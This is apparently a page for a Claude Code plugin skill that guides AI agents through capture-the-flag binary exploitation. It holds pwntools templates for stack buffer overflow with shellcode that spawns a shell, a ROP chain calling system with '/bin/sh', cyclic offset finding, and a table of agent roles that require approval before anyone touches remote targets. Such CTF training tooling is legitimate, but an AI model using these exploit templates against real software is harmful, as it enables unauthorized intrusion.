npx claudepluginhub mysterionrise/ctf-kitThis skill uses the workspace's default tool permissions.
Analyze and exploit binary exploitation challenges.
Suggests manual /compact at logical task boundaries in long Claude Code sessions and multi-phase tasks to avoid arbitrary auto-compaction losses.
Share bugs, ideas, or general feedback.
Analyze and exploit binary exploitation challenges.
Use this command for challenges involving:
First check tool availability: bash scripts/check-tools.sh
Start with checksec to understand binary protections:
bash scripts/run-checksec.sh $ARGUMENTS
The JSON output includes:
protections: status of each protection (enabled/disabled/partial)attack_vectors: viable exploitation approachessuggestions[0]: recommended exploitation STRATEGY based on protectionsExample: if stack_canary=disabled and nx=disabled, the strategy is "Classic buffer overflow with shellcode injection".
Based on checksec JSON, proceed with exploitation:
No Canary + No NX (shellcode):
from pwn import *
p = process('./binary')
shellcode = asm(shellcraft.sh())
payload = shellcode + b'A' * (offset - len(shellcode)) + p64(buf_addr)
p.sendline(payload)
p.interactive()
No Canary + NX + No PIE (ROP):
ROPgadget --binary ./binary --re "pop rdi"
payload = b'A' * offset + p64(pop_rdi) + p64(bin_sh) + p64(system)
PIE enabled (need leak):
Find offset to return address:
from pwn import *
print(cyclic(200))
# After crash: cyclic_find(0x61616161)
run-checksec.sh → read JSON attack_vectorsWhen using /ctf-kit:team-solve with a pwn challenge, the lead spawns 3 specialists.
Exploit-dev requires plan approval before connecting to remote targets.
| Role | Teammate Name | Focus | Tools | First Action |
|---|---|---|---|---|
| Static Analyst | binary-analyst | checksec, disassembly, vulnerability identification, function mapping, string cross-refs | checksec, radare2, scripts/run-checksec.sh | Run checksec, disassemble main + interesting functions, identify vuln class |
| Exploit Developer | exploit-dev | Payload crafting, ROP chain building, shellcode, format string exploitation, ret2libc/ret2csu | pwntools, ROPgadget, one_gadget | Build exploit based on static analysis, find gadgets, calculate offsets |
| Dynamic Analyst | dynamic-analyst | GDB debugging, offset finding, leak discovery, heap state inspection, ASLR/PIE bypass | gdb, pwntools, ltrace, strace | Run binary with cyclic pattern, find crash offset, identify leakable addresses |
The pwn team has a natural dependency chain:
/ctf-kit:pwn ./challenge
/ctf-kit:pwn ./binary